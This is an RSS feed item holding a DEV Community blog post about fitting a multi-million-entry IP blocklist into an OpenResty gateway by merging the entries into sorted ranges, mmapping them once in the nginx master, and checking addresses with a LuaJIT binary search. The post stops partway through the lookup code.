<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jikwang Moon</title>
    <description>The latest articles on DEV Community by Jikwang Moon (@moonjikwang).</description>
    <link>https://dev.to/moonjikwang</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4229489%2Fd666e537-e419-4c58-bfaa-3e2282a67e7b.jpg</url>
      <title>DEV Community: Jikwang Moon</title>
      <link>https://dev.to/moonjikwang</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/moonjikwang"/>
    <language>en</language>
    <item>
      <title>A 4-million-entry IP blocklist in nginx without 200 MB per worker: sorted ranges, mmap and a binary search in LuaJIT</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Thu, 26 Nov 2026 01:10:11 +0000</pubDate>
      <link>https://dev.to/moonjikwang/a-4-million-entry-ip-blocklist-in-nginx-without-200-mb-per-worker-sorted-ranges-mmap-and-a-binary-2m61</link>
      <guid>https://dev.to/moonjikwang/a-4-million-entry-ip-blocklist-in-nginx-without-200-mb-per-worker-sorted-ranges-mmap-and-a-binary-2m61</guid>
      <description>&lt;p&gt;A user of &lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;Corvus&lt;/a&gt;, my open-source gateway on top of&lt;br&gt;
OpenResty, opened a short issue: &lt;em&gt;"This community blocklist is 50 MB and fails to download (limit&lt;br&gt;
is 5 MB). Please support larger blocklists."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Raising the limit would have taken one line. It would also have been a bad idea, and fixing it&lt;br&gt;
properly turned into one of the more satisfying pieces of work on the project. This post is about&lt;br&gt;
that fix, because the technique works for any nginx/OpenResty setup that needs to check client&lt;br&gt;
addresses against a big list.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why raising the limit wasn't enough
&lt;/h2&gt;

&lt;p&gt;The list in question has about &lt;strong&gt;3.9 million&lt;/strong&gt; IPv4 addresses and networks, one per line. At the&lt;br&gt;
time, Corvus handled IP lists the obvious way: the control plane stored the entries, wrote them into&lt;br&gt;
the gateway's rule file, and every nginx worker loaded them into a Lua table when the configuration&lt;br&gt;
loaded.&lt;/p&gt;

&lt;p&gt;That's fine for a few thousand entries. For 3.9 million:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a Lua table of that size costs &lt;strong&gt;over 200 MB per worker&lt;/strong&gt;, and nginx runs one worker per CPU core;&lt;/li&gt;
&lt;li&gt;every reload rebuilds all of it, which takes &lt;strong&gt;several seconds&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;the settings database and the rule file grow by the same amount.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the real question was: how do you check an address against millions of networks, in every&lt;br&gt;
worker, without each worker holding its own copy?&lt;/p&gt;
&lt;h2&gt;
  
  
  The idea in three steps
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Turn the list into sorted, non-overlapping ranges.&lt;/strong&gt; &lt;code&gt;10.0.0.0/24&lt;/code&gt; is just the range
&lt;code&gt;10.0.0.0 – 10.0.0.255&lt;/code&gt;. Overlapping and adjacent entries merge into one range. An IPv4 range
is two 32-bit numbers: 8 bytes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write the ranges to a flat binary file&lt;/strong&gt; and map it into memory &lt;strong&gt;once, read-only, in the nginx
master&lt;/strong&gt; before it starts the workers. Every worker inherits the mapping, and the kernel shares
the pages through the page cache.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Look an address up with a binary search&lt;/strong&gt; over the ranges. No allocation, no hashing, about
22 steps for 4 million ranges.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Nothing here is new. Routing tables and GeoIP databases have worked like this for decades. The&lt;br&gt;
interesting parts are in the details.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 1: building the ranges without using lots of memory
&lt;/h2&gt;

&lt;p&gt;The control plane (Go) downloads the list and parses it &lt;strong&gt;while it downloads&lt;/strong&gt;, without allocating&lt;br&gt;
a string per line for IPv4. Each entry becomes a range, and the ranges go into fixed-size chunks of&lt;br&gt;
512 KiB. Chunks never get copied when they grow, unlike one big slice that doubles.&lt;/p&gt;

&lt;p&gt;When the download is done, each chunk is sorted on its own, and a k-way merge (a small heap over&lt;br&gt;
the chunks) produces the ranges in order. Merging overlapping and adjacent neighbours happens on the&lt;br&gt;
fly while the result streams straight into the file, and the chunks are released as they're used up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c1"&gt;// merging while streaming: r arrives in sorted order&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Last&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="kt"&gt;uint32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;First&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Last&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Last&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Last&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Last&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// overlaps or touches: extend&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(The &lt;code&gt;^uint32(0)&lt;/code&gt; check stops &lt;code&gt;255.255.255.255 + 1&lt;/code&gt; from wrapping around to 0. I found that one&lt;br&gt;
with a test, fortunately.)&lt;/p&gt;

&lt;p&gt;Result for the 3.9 million entry list (a 56 MB download): &lt;strong&gt;3.55 million ranges, a 28.5 MB file,&lt;br&gt;
about 1 second and about 35 MB of peak heap&lt;/strong&gt;, which is given back afterwards.&lt;/p&gt;
&lt;h2&gt;
  
  
  The file format
&lt;/h2&gt;

&lt;p&gt;It's deliberately boring, so that Lua can read it with pointer casts:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Content&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;magic &lt;code&gt;CVIPSET\0&lt;/code&gt;, version (u32), reserved (u32)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;number of IPv4 ranges (u64), number of IPv6 ranges (u64)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;SHA-256 of the payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;IPv4 ranges: &lt;code&gt;{u32 first, u32 last}&lt;/code&gt; × n4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;…&lt;/td&gt;
&lt;td&gt;IPv6 ranges: &lt;code&gt;{u64 first_hi, first_lo, last_hi, last_lo}&lt;/code&gt; × n6&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Little-endian, so x86-64 and arm64 read it natively. An IPv6 address is split into two 64-bit&lt;br&gt;
halves, compared high half first.&lt;/p&gt;

&lt;p&gt;Files are &lt;strong&gt;content-addressed&lt;/strong&gt;: the name is the SHA-256 of the file (&lt;code&gt;&amp;lt;sha256&amp;gt;.bin&lt;/code&gt;), and they're&lt;br&gt;
written to a temporary name and renamed into place. That matters a lot for mmap. More on that below.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 2: mapping the file from Lua
&lt;/h2&gt;

&lt;p&gt;OpenResty's &lt;code&gt;init_by_lua&lt;/code&gt; runs in the nginx &lt;strong&gt;master&lt;/strong&gt;, before the workers are forked. If you&lt;br&gt;
&lt;code&gt;mmap&lt;/code&gt; a file there with &lt;code&gt;MAP_SHARED&lt;/code&gt; and &lt;code&gt;PROT_READ&lt;/code&gt;, every worker gets the same physical pages.&lt;br&gt;
LuaJIT's FFI makes this short:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;ffi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s2"&gt;"ffi"&lt;/span&gt;
&lt;span class="n"&gt;ffi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cdef&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="n"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;const&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;int64_t&lt;/span&gt; &lt;span class="nf"&gt;lseek&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;int64_t&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;int&lt;/span&gt; &lt;span class="n"&gt;whence&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;mmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;int&lt;/span&gt; &lt;span class="n"&gt;prot&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;int64_t&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;munmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="no"&gt;C&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ffi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;C&lt;/span&gt;
&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="no"&gt;O_RDONLY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;O_CLOEXEC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x80000&lt;/span&gt;      &lt;span class="c1"&gt;-- Linux x86-64 / arm64&lt;/span&gt;
&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="no"&gt;PROT_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;MAP_SHARED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;SEEK_END&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;C&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;O_RDONLY&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;O_CLOEXEC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;tonumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;C&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lseek&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;SEEK_END&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;C&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;PROT_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;MAP_SHARED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="no"&gt;C&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;-- the mapping stays valid without the descriptor&lt;/span&gt;

&lt;span class="c1"&gt;-- unmap when this Lua VM is collected (more on reloads below)&lt;/span&gt;
&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ffi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ffi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"const uint8_t *"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="no"&gt;C&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;munmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ffi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"void *"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ffi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"const uint64_t *"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;n4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;tonumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ffi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"const uint32_t *"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;-- {first, last} pairs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before the gateway uses a file it checks it: magic and version, that the size matches the header,&lt;br&gt;
the SHA-256 of the whole file against the hash in the configuration, and that the ranges really are&lt;br&gt;
sorted and disjoint (the binary search silently gives wrong answers otherwise). If anything is off,&lt;br&gt;
the &lt;strong&gt;configuration is rejected&lt;/strong&gt;: &lt;code&gt;openresty -t&lt;/code&gt; fails and a reload keeps the running config. For the&lt;br&gt;
28.5 MB file, all of that takes about &lt;strong&gt;80 ms&lt;/strong&gt;, once per configuration load, not per worker.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 3: the lookup
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;ngx.var.binary_remote_addr&lt;/code&gt; gives the client address as 4 (or 16) raw bytes. For IPv4, turn it into&lt;br&gt;
a number and find the last range whose start is ≤ the address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;has4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n4&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b4&lt;/span&gt;
  &lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;lo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;lo&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;hi&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rshift&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lo&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;hi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
